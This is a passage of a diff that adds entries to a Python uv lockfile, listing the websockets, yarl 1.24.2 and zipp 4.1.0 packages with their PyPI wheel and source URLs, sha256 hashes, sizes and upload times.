+ { url = "https://files.pythonhosted.org/packages/33/2b/1f168cb6041853eef0362fb9554c3824367c5560cbdaad89ac40f8c2edfc/websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4", size = 182195, upload-time = "2025-03-05T20:02:51.561Z" },
+ { url = "https://files.pythonhosted.org/packages/86/eb/20b6cdf273913d0ad05a6a14aed4b9a85591c18a987a3d47f20fa13dcc47/websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa", size = 176393, upload-time = "2025-03-05T20:02:53.814Z" },
+ { url = "https://files.pythonhosted.org/packages/1b/6c/c65773d6cab416a64d191d6ee8a8b1c68a09970ea6909d16965d26bfed1e/websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561", size = 176837, upload-time = "2025-03-05T20:02:55.237Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/a8/5b41e0da817d64113292ab1f8247140aac61cbf6cfd085d6a0fa77f4984f/websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f", size = 169743, upload-time = "2025-03-05T20:03:39.41Z" },
+]
+
+[[package]]
+name = "yarl"
+version = "1.24.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "idna" },
+ { name = "multidict" },
+ { name = "propcache" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/79/12/1e8f37460ea0f7eb59c221fdaf0ed75e7ac43e97f8093b9c6f411df50a78/yarl-1.24.2.tar.gz", hash = "sha256:9ac374123c6fd7abf64d1fec93962b0bd4ee2c19751755a762a72dd96c0378f8", size = 210798, upload-time = "2026-05-19T21:31:05.599Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/f0/da/866bcb01076ba49d2b42b309867bed3826421f1c479655eb7a607b44f20b/yarl-1.24.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:b975866c184564c827e0877380f0dae57dcca7e52782128381b72feff6dfceb8", size = 129957, upload-time = "2026-05-19T21:28:51.695Z" },
+ { url = "https://files.pythonhosted.org/packages/bf/1d/fcefb70922ea2268a8971d8e5874d9a8218644200fb8465f1dcad55e6851/yarl-1.24.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:3b075301a2836a0e297b1b658cb6d6135df535d62efefdd60366bd589c2c82f2", size = 92164, upload-time = "2026-05-19T21:28:53.242Z" },
+ { url = "https://files.pythonhosted.org/packages/29/b6/170e2b8d4e3bc30e6bfdcca53556537f5bf595e938632dfcb059311f3ff6/yarl-1.24.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8ae44649b00947634ab0dab2a374a638f52923a6e67083f2c156cd5cbd1a881d", size = 91688, upload-time = "2026-05-19T21:28:54.865Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/a5/c9f655d5553ea0b99fdac9d6a99ad3f9b3e73b8e5758bb46f58c9831f74c/yarl-1.24.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:507cc19f0b45454e2d6dcd62ff7d062b9f77a2812404e62dbdaec05b50faa035", size = 102902, upload-time = "2026-05-19T21:28:56.963Z" },
+ { url = "https://files.pythonhosted.org/packages/5d/bc/6b9664d815d79af4ee553337f9d606c56bbf269186ada9172de45f1b5f60/yarl-1.24.2-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c4c17bad5a530912d2111825d3f05e89bab2dd376aaa8cbc77e449e6db63e576", size = 97931, upload-time = "2026-05-19T21:28:58.56Z" },
+ { url = "https://files.pythonhosted.org/packages/98/ec/32ba48acae30fecd60928f5791188b80a9d6ee3840507ffda29fecd37b71/yarl-1.24.2-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f5f0cbb112838a4a293985b6ed73948a547dadcc1ba6d2089938e7abdedceef8", size = 111030, upload-time = "2026-05-19T21:29:00.148Z" },
+ { url = "https://files.pythonhosted.org/packages/82/5a/6f4cd081e5f4934d2ae3a8ef4abe3afacc010d26f0035ee91b35cd7d7c37/yarl-1.24.2-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5ec8356b8a6afcf81fc7aeeef13b1ff7a49dec00f313394bbb9e83830d32ccd7", size = 110392, upload-time = "2026-05-19T21:29:02.155Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/da/323a01c349bd5fb01bb6652e314d9bb218cee630a736bdb810ad50e4013f/yarl-1.24.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7e7ebcdef69dec6c6451e616f32b622a6d4a2e92b445c992f7c8e5274a6bbc4c", size = 105612, upload-time = "2026-05-19T21:29:04.247Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/80/264ab684f181e1a876389374519ff05d10248725535ae2ac4e8ac4e563d6/yarl-1.24.2-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:47a55d6cf6db2f401017a9e96e5288844e5051911fb4e0c8311a3980f5e59a7d", size = 104487, upload-time = "2026-05-19T21:29:06.491Z" },
+ { url = "https://files.pythonhosted.org/packages/41/07/efabe5df87e96d7ad5959760b888344be48cd6884db127b407c6b5503adc/yarl-1.24.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3065657c80a2321225e804048597ad55658a7e76b32d6f5ee4074d04c50401db", size = 102333, upload-time = "2026-05-19T21:29:08.267Z" },
+ { url = "https://files.pythonhosted.org/packages/44/0c/bcf7c42603e1009295f586d8890f2ba032c8b53310e815adf0a202c73d9f/yarl-1.24.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:cb84b80d88e19ede158619b80813968713d8d008b0e2497a576e6a0557d50712", size = 99025, upload-time = "2026-05-19T21:29:10.682Z" },
+ { url = "https://files.pythonhosted.org/packages/4f/82/84482ab1a57a0f21a08afe6a7004c61d741f8f2ecc3b05c321577c612164/yarl-1.24.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:990de4f680b1c217e77ff0d6aa0029f9eb79889c11fb3e9a3942c7eba29c1996", size = 110507, upload-time = "2026-05-19T21:29:12.954Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/8d/a546ba1dfe1b0f290e05fef145cd07614c0f15df1a707195e512d1e39d1d/yarl-1.24.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:abb8ec0323b80161e3802da3150ef660b41d0e9be2048b76a363d93eee992c2b", size = 103719, upload-time = "2026-05-19T21:29:14.893Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/b6/267f2a09213138473adfce6b8a6e17791d7fee70bd4d9003218e4dec58b0/yarl-1.24.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:e7977781f83638a4c73e0f88425563d70173e0dfd90ac006a45c65036293ee3c", size = 110438, upload-time = "2026-05-19T21:29:16.485Z" },
+ { url = "https://files.pythonhosted.org/packages/48/2d/1c8d89c7c5f9cad9fb2902445d94e2ab1d7aa35de029afbb8ae95c42d00f/yarl-1.24.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e30dd55825dc554ec5b66a94953b8eda8745926514c5089dfcacecb9c99b5bd1", size = 105719, upload-time = "2026-05-19T21:29:18.367Z" },
+ { url = "https://files.pythonhosted.org/packages/a7/25/722e3b93bd687009afb2d59a35e13d30ddd8f80571445bb0c4e4ce26ec66/yarl-1.24.2-cp312-cp312-win_amd64.whl", hash = "sha256:7dafe10c12ddd4d120d528c4b5599c953bd7b12845347d507b95451195bb6cad", size = 92901, upload-time = "2026-05-19T21:29:20.014Z" },
+ { url = "https://files.pythonhosted.org/packages/39/47/4486ccfb674c04854a1ef8aa77868b6a6f765feaf69633409d7ca4f02cb8/yarl-1.24.2-cp312-cp312-win_arm64.whl", hash = "sha256:044a09d8401fcf8681977faef6d286b8ade1e2d2e9dceda175d1cfa5ca496f30", size = 87229, upload-time = "2026-05-19T21:29:22.1Z" },
+ { url = "https://files.pythonhosted.org/packages/82/62/fcf0ce677f17e5c471c06311dd25964be38a4c586993632910d2e75278bc/yarl-1.24.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:491ac9141decf49ee8030199e1ee251cdff0e131f25678817ff6aa5f837a3536", size = 128978, upload-time = "2026-05-19T21:29:23.83Z" },
+ { url = "https://files.pythonhosted.org/packages/d3/58/8e63299bb71ed61a834121d9d3fe6c9fcf2a6a5d09754ff4f20f2d20baf5/yarl-1.24.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e89418f65eda18f99030386305bd44d7d504e328a7945db1ead514fbe03a0607", size = 91733, upload-time = "2026-05-19T21:29:25.375Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/24/16748d5dab6daec8b0ed81ccec639a1cded0f18dcc62a4f696b4fe366c37/yarl-1.24.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cdfcce633b4a4bb8281913c57fcafd4b5933fbc19111a5e3930bbd299d6102f1", size = 91113, upload-time = "2026-05-19T21:29:26.928Z" },
+ { url = "https://files.pythonhosted.org/packages/1b/66/b63fff7b71211e866624b21432d5943cbb633eb0c2872d9ee3070648f22c/yarl-1.24.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:863297ddede92ee49024e9a9b11ecb59f310ca85b60d8537f56bed9bbb5b1986", size = 103899, upload-time = "2026-05-19T21:29:28.842Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/ac/ba1974b8533909636f7733fe86cf677e3619527c3c2fa913e0ea89c48757/yarl-1.24.2-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:374423f70754a2c96942ede36a29d37dc6b0cb8f92f8d009ddf3ed78d3da5488", size = 97862, upload-time = "2026-05-19T21:29:31.086Z" },
+ { url = "https://files.pythonhosted.org/packages/1b/a5/123ac993b5c2ba6f554a140305620cb8f150fa543711bbc49be3ec0a65a4/yarl-1.24.2-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:33a29b5d00ccbf3219bb3e351d7875739c19481e030779f48cc46a7a71681a9b", size = 111060, upload-time = "2026-05-19T21:29:32.657Z" },
+ { url = "https://files.pythonhosted.org/packages/23/37/c472d3af3509688392134a88a825276770a187f1daa4de3f6dc0a327a751/yarl-1.24.2-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a9532c57211730c515341af11fef6e9b61d157487272a096d0c04da445642592", size = 110613, upload-time = "2026-05-19T21:29:34.379Z" },
+ { url = "https://files.pythonhosted.org/packages/df/88/09c28dad91e662ccfaa1b78f1c57badde74fc9d0b23e74aef644750ecd73/yarl-1.24.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:91e72cf093fd833483a97ee648e0c053c7c629f51ff4a0e7edd84f806b0c5617", size = 107012, upload-time = "2026-05-19T21:29:36.216Z" },
+ { url = "https://files.pythonhosted.org/packages/07/ab/9d4f69d571a94f4d112fa7e2e007200f5a54d319f58c82ac7b7baa61f5c6/yarl-1.24.2-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b3177bc0a768ef3bacceb4f272632990b7bea352f1b2f1eee9d6d6ff16516f92", size = 105887, upload-time = "2026-05-19T21:29:38.746Z" },
+ { url = "https://files.pythonhosted.org/packages/8e/9a/000b2b66c0d772a499fc531d21dab92dfeb73b640a12eed6ba89f49bb2d0/yarl-1.24.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e196952aacaf3b232e265ff02980b64d483dc0972bd49bcb061171ff22ac203a", size = 103620, upload-time = "2026-05-19T21:29:40.368Z" },
+ { url = "https://files.pythonhosted.org/packages/41/7c/7c1050f73450fbdaa3f0c72017059f00ce5e13366692f3dba25275a1083d/yarl-1.24.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:204e7a61ce99919c0de1bf904ab5d7aa188a129ea8f690a8f76cfb6e2844dc44", size = 100599, upload-time = "2026-05-19T21:29:42.66Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/b1/29e5756b3926705f5f6089bd5b9f50a56eaac550da6e260bf713ead44d04/yarl-1.24.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:4b156914620f0b9d78dc1adb3751141daee561cfec796088abb89ed49d220f1a", size = 110604, upload-time = "2026-05-19T21:29:44.632Z" },
+ { url = "https://files.pythonhosted.org/packages/a3/4b/8415bc96e9b150cde942fbac9a8182985e58f40ce5c54c34ed015407d3ee/yarl-1.24.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:8372a2b976cf70654b2be6619ab6068acabb35f724c0fda7b277fbf53d66a5cf", size = 105161, upload-time = "2026-05-19T21:29:46.755Z" },
+ { url = "https://files.pythonhosted.org/packages/8b/d4/cde059abfa229553b7298a2eadde2752e723d50aeedaef86ce59da2718ee/yarl-1.24.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:f9a1e9b622ca284143aab5d885848686dcd85453bb1ca9abcdb7503e64dc0056", size = 110619, upload-time = "2026-05-19T21:29:48.972Z" },
+ { url = "https://files.pythonhosted.org/packages/e7/2c/d6a6c9a61549f7b6c7e6dc6937d195bcf069582b47b7200dcd0e7b256acf/yarl-1.24.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:810e19b685c8c3c5862f6a38160a1f4e4c0916c9390024ec347b6157a45a0992", size = 107362, upload-time = "2026-05-19T21:29:51Z" },
+ { url = "https://files.pythonhosted.org/packages/92/dd/3ae5fe417e9d1c353a548553326eb9935e76b6b727161563b424cc296df3/yarl-1.24.2-cp313-cp313-win_amd64.whl", hash = "sha256:7d37fb7c38f2b6edab0f845c4f85148d4c44204f52bc127021bd2bc9fdbf1656", size = 92667, upload-time = "2026-05-19T21:29:52.743Z" },
+ { url = "https://files.pythonhosted.org/packages/10/cc/a7beb239f78f27fca1b053c8e8595e4179c02e62249b4687ec218c370c50/yarl-1.24.2-cp313-cp313-win_arm64.whl", hash = "sha256:1e831894be7c2954240e49791fa4b50c05a0dc881de2552cfe3ffd8631c7f461", size = 87069, upload-time = "2026-05-19T21:29:54.442Z" },
+ { url = "https://files.pythonhosted.org/packages/40/0e/e08087695fc12789263821c5dc0f8dc52b5b17efd0887cacf419f8a43ba3/yarl-1.24.2-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:f9312b3c02d9b3d23840f67952913c9c8721d7f1b7db305289faefa878f364c2", size = 129670, upload-time = "2026-05-19T21:29:56.631Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/98/ab4b5ed1b1b5cd973c8a3eb994c3a6aefb6ce6d399e21bb5f0316c33815c/yarl-1.24.2-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:a4f4d6cd615823bfc7fb7e9b5987c3f41666371d870d51058f77e2680fbe9630", size = 91916, upload-time = "2026-05-19T21:29:58.645Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/b1/5297bb6a7df4782f7605bffc43b31f5044070935fbbcaa6c705a07e6ac65/yarl-1.24.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:0c3063e5c0a8e8e62fae6c2596fa01da1561e4cd1da6fec5789f5cf99a8aefd8", size = 91625, upload-time = "2026-05-19T21:30:00.412Z" },
+ { url = "https://files.pythonhosted.org/packages/02/a7/45baabfff76829264e623b185cff0c340d7e11bf3e1cd9ea37e7d17934bd/yarl-1.24.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fecd17873a096036c1c87ab3486f1aef7f269ada7f23f7f856f93b1cc7744f14", size = 104574, upload-time = "2026-05-19T21:30:02.544Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/40/3a5ab144d3d650ca37d4f4b57e56169be8af3ca34c448793e064b30baaed/yarl-1.24.2-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a46d1ab4ba4d32e6dc80daf8a28ce0bd83d08df52fbc32f3e288663427734535", size = 97534, upload-time = "2026-05-19T21:30:04.319Z" },
+ { url = "https://files.pythonhosted.org/packages/9c/b5/5658fef3681fb5776b4513b052bec750009f47b3a592251c705d75375798/yarl-1.24.2-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:73e68edf6dfd5f73f9ca127d84e2a6f9213c65bdffb736bda19524c0564fcd14", size = 111481, upload-time = "2026-05-19T21:30:05.988Z" },
+ { url = "https://files.pythonhosted.org/packages/4c/06/fdcd7dde037f00866dce123ed4ba23dba94beb56fc4cf561668d27be37f2/yarl-1.24.2-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a296ca617f2d25fbceafb962b88750d627e5984e75732c712154d058ae8d79a3", size = 111529, upload-time = "2026-05-19T21:30:07.738Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/53/d81269aaafccea0d33396c03035de997b743f11e648e6e27a0df99c72980/yarl-1.24.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e51b2cf5ec89a8b8470177641ed62a3ba22d74e1e898e06ad53aa77972487208", size = 107338, upload-time = "2026-05-19T21:30:09.713Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/04/23049463f729bd899df203a7960505a75333edd499cda8aa1d5a82b64df5/yarl-1.24.2-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:310fc687f7b2044ec54e372c8cbe923bb88f5c37bded0d3079e5791c2fc3cf50", size = 106147, upload-time = "2026-05-19T21:30:11.365Z" },
+ { url = "https://files.pythonhosted.org/packages/14/18/04a4b5830b43ed5e4c5015b40e9f6241ad91487d71611061b4e111d6ac80/yarl-1.24.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:297a2fe352ecf858b30a98f87948746ec16f001d279f84aebdbd3bd965e2f1bd", size = 104272, upload-time = "2026-05-19T21:30:12.978Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/f7/8cffdf319aee7a7c1dbd07b61d91c3e3fda460c7a93b5f93e445f3806c4c/yarl-1.24.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:2a263e76b97bc42bdcd7c5f4953dec1f7cd62a1112fa7f869e57255229390d67", size = 99962, upload-time = "2026-05-19T21:30:15.001Z" },
+ { url = "https://files.pythonhosted.org/packages/d7/39/b3cce3b7dbef64ac700ad4cea156a207d01bede0f507587616c364b5468e/yarl-1.24.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:822519b64cf0b474f1a0aaef1dc621438ea46bb77c94df97a5b4d213a7d8a8b1", size = 111063, upload-time = "2026-05-19T21:30:16.683Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/ea/100818505e7ebf165c7242ff17fdf7d9fee79e27234aeca871c1082920d7/yarl-1.24.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:b6067060d9dc594899ba83e6db6c48c68d1e494a6dab158156ed86977ca7bcb1", size = 105438, upload-time = "2026-05-19T21:30:18.769Z" },
+ { url = "https://files.pythonhosted.org/packages/8f/d2/e075a0b32aa6625087de9e653087df0759fed5de4a435fef594181102a77/yarl-1.24.2-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:0063adad533e57171b79db3943b229d40dfafeeee579767f96541f106bac5f1b", size = 111458, upload-time = "2026-05-19T21:30:21.024Z" },
+ { url = "https://files.pythonhosted.org/packages/e6/5c/ceea7ba98b65c8eb8d947fdc52f9bedfcd43c6a57c9e3c90c17be8f324a3/yarl-1.24.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ee8e3fb34513e8dc082b586ef4910c98335d43a6fab688cd44d4851bacfce3e8", size = 107589, upload-time = "2026-05-19T21:30:23.412Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/d9/5582d57e2b2db9b85eb6663a22efdd78e08805f3f5389566e9fcad254d1b/yarl-1.24.2-cp314-cp314-win_amd64.whl", hash = "sha256:afb00d7fd8e0f285ca29a44cc50df2d622ff2f7a6d933fa641577b5f9d5f3db0", size = 94424, upload-time = "2026-05-19T21:30:25.425Z" },
+ { url = "https://files.pythonhosted.org/packages/92/10/7dc07a0e22806a9280f42a57361395506e800c64e22737cd7b0886feab42/yarl-1.24.2-cp314-cp314-win_arm64.whl", hash = "sha256:68cf6eacd6028ef1142bc4b48376b81566385ca6f9e7dde3b0fa91be08ffcb57", size = 88690, upload-time = "2026-05-19T21:30:27.623Z" },
+ { url = "https://files.pythonhosted.org/packages/9e/13/d5b8e2c8667db955bcb3de233f18798fefe7edf1d7429c2c9d4f9c401114/yarl-1.24.2-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:221ce1dd921ac4f603957f17d7c18c5cc0797fbb52f156941f92e04605d1d67b", size = 136248, upload-time = "2026-05-19T21:30:29.297Z" },
+ { url = "https://files.pythonhosted.org/packages/de/46/a4a97c05c9c9b8fd266bb2a0df12992c7fbd02391eb9640583411b6dab32/yarl-1.24.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5f3224db28173a00d7afacdee07045cc4673dfab2b15492c7ae10deddbece761", size = 95084, upload-time = "2026-05-19T21:30:31.031Z" },
+ { url = "https://files.pythonhosted.org/packages/95/b2/845cf2074a015e6fe0d0808cf1a2d9e868386c4220d657ebd8302b199043/yarl-1.24.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c557165320d6244ebe3a02431b2a201a20080e02f41f0cfa0ccc47a183765da8", size = 95272, upload-time = "2026-05-19T21:30:33.062Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/16/e69d4aa244aef45235ddfebc0e04036a6829842bc5a6a795aedc6c998d23/yarl-1.24.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:904065e6e85b1fa54d0d87438bd58c14c0bad97aad654ad1077fd9d87e8478ed", size = 101497, upload-time = "2026-05-19T21:30:34.842Z" },
+ { url = "https://files.pythonhosted.org/packages/15/94/c07107715d621076863ee88b3ddf183fa5e9d4aba5769623c9979828410a/yarl-1.24.2-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:8cec2a38d70edc10e0e856ceda886af5327a017ccbde8e1de1bd44d300357543", size = 94002, upload-time = "2026-05-19T21:30:37.724Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/35/fc1bbdd895b5e4010b8fdd037f7ed3aa289d3863e08231b30231ca9a0815/yarl-1.24.2-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e7484b9361ed222ee1ca5b4337aa4cbdcc4618ce5aff57d9ef1582fd95893fc0", size = 106524, upload-time = "2026-05-19T21:30:40.196Z" },
+ { url = "https://files.pythonhosted.org/packages/1f/f2/32b66d0a4ba47c296cf86d03e2c67bff58399fe6d6d84d5205c04c66cc6d/yarl-1.24.2-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:84f9670b89f34db07f81e53aee83e0b938a3412329d51c8f922488be7fcc4024", size = 106165, upload-time = "2026-05-19T21:30:41.888Z" },
+ { url = "https://files.pythonhosted.org/packages/95/47/37cb5ff50c5e825d4d38e81bb04d1b7e96bf960f7ab89f9850b162f3f114/yarl-1.24.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:abb2759733d63a28b4956500a5dd57140f26486c92b2caedfb964ab7d9b79dbf", size = 103010, upload-time = "2026-05-19T21:30:43.985Z" },
+ { url = "https://files.pythonhosted.org/packages/6f/d2/4597912315096f7bb359e46e13bf8b60994fcbb2db29b804c0902ef4eff5/yarl-1.24.2-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:081c2bf54efe03774d0311172bc04fedf9ca01e644d4cd8c805688e527209bdc", size = 101128, upload-time = "2026-05-19T21:30:46.291Z" },
+ { url = "https://files.pythonhosted.org/packages/b9/d5/c8e86e120521e646013d02a8e3b8884392e28494be8f392366e50d208efc/yarl-1.24.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:86746bef442aa479107fe28132e1277237f9c24c2f00b0b0cf22b3ee0904f2bb", size = 101382, upload-time = "2026-05-19T21:30:48.085Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/98/70b229236118f89dbeb739b76f10225bbf53b5497725502594c9a01d699a/yarl-1.24.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:2d07d21d0bc4b17558e8de0b02fbfdf1e347d3bb3699edd00bb92e7c57925420", size = 95964, upload-time = "2026-05-19T21:30:49.785Z" },
+ { url = "https://files.pythonhosted.org/packages/87/f8/56c386981e3c8648d279fdef2397ffec577e8320fd5649745e34d54faeb7/yarl-1.24.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:4fb1ac3fc5fecd8ae7453ea237e4d22b49befa70266dfe1629924245c21a0c7f", size = 106204, upload-time = "2026-05-19T21:30:51.862Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/1e/765afe97811ca35933e2a7de70ac57b1997ea2e4ee895719ee7a231fb7e5/yarl-1.24.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:4da31a5512ed1729ca8d8aacde3f7faeb8843cde3165d6bcf7f88f74f17bb8aa", size = 101510, upload-time = "2026-05-19T21:30:53.62Z" },
+ { url = "https://files.pythonhosted.org/packages/ee/78/393913f4b9039e1edd09ae8a9bbb9d539be909a8abf6d8a2084585bed4b7/yarl-1.24.2-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:533ded4dceb5f1f3da7906244f4e82cf46cfd40d84c69a1faf5ac506aa65ecbe", size = 105584, upload-time = "2026-05-19T21:30:55.962Z" },
+ { url = "https://files.pythonhosted.org/packages/78/87/deb17b7049bbe74ea11a713b86f8f27800cc1c8648b0b797243ebb4830ba/yarl-1.24.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:7b3a85525f6e7eeabcfdd372862b21ee1915db1b498a04e8bf0e389b607ff0bd", size = 103410, upload-time = "2026-05-19T21:30:57.962Z" },
+ { url = "https://files.pythonhosted.org/packages/8f/be/f9f7594e23b5b93affff0318e4593c1920331bcaefda326cabcad94296a1/yarl-1.24.2-cp314-cp314t-win_amd64.whl", hash = "sha256:a7624b1ca46ca5d7b864ef0d2f8efe3091454085ee1855b4e992314529972215", size = 102980, upload-time = "2026-05-19T21:30:59.735Z" },
+ { url = "https://files.pythonhosted.org/packages/65/a4/ba80dccd3593ff1f01051a818694d07b58cb8232677ee9a22a5a1f93a9fc/yarl-1.24.2-cp314-cp314t-win_arm64.whl", hash = "sha256:e434a45ce2e7a947f951fc5a8944c8cc080b7e59f9c50ae80fd39107cf88126d", size = 91219, upload-time = "2026-05-19T21:31:01.934Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/4d/4b880086bd0d3e034d25647be1d830afc3e3f610e98c4ab3490af6b1b6d5/yarl-1.24.2-py3-none-any.whl", hash = "sha256:2783d9226db8797636cd6896e4de81feed252d1db72265686c9558d97a4d94b9", size = 53576, upload-time = "2026-05-19T21:31:03.909Z" },
+]
+
+[[package]]
+name = "zipp"
+version = "4.1.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/b9/d8/eab98a517c14134c0b2eb4e2387bc5f457334293ec5d2dd3857ec2966802/zipp-4.1.0.tar.gz", hash = "sha256:4cb57381f544315db7688e976e922a2b18cdb513d21cc194eb42232ba2a3e602", size = 26214, upload-time = "2026-05-18T20:08:57.967Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/3a/13/547360d81e6d88d58492968ffda9f9542854f11310ee556fef14260cc886/zipp-4.1.0-py3-none-any.whl", hash = "sha256:25ad4e16390cd314347dd8f1de67a2ac538ae658ed4ab9db16029c07c188e97f", size = 10238, upload-time = "2026-05-18T20:08:57.045Z" },
+]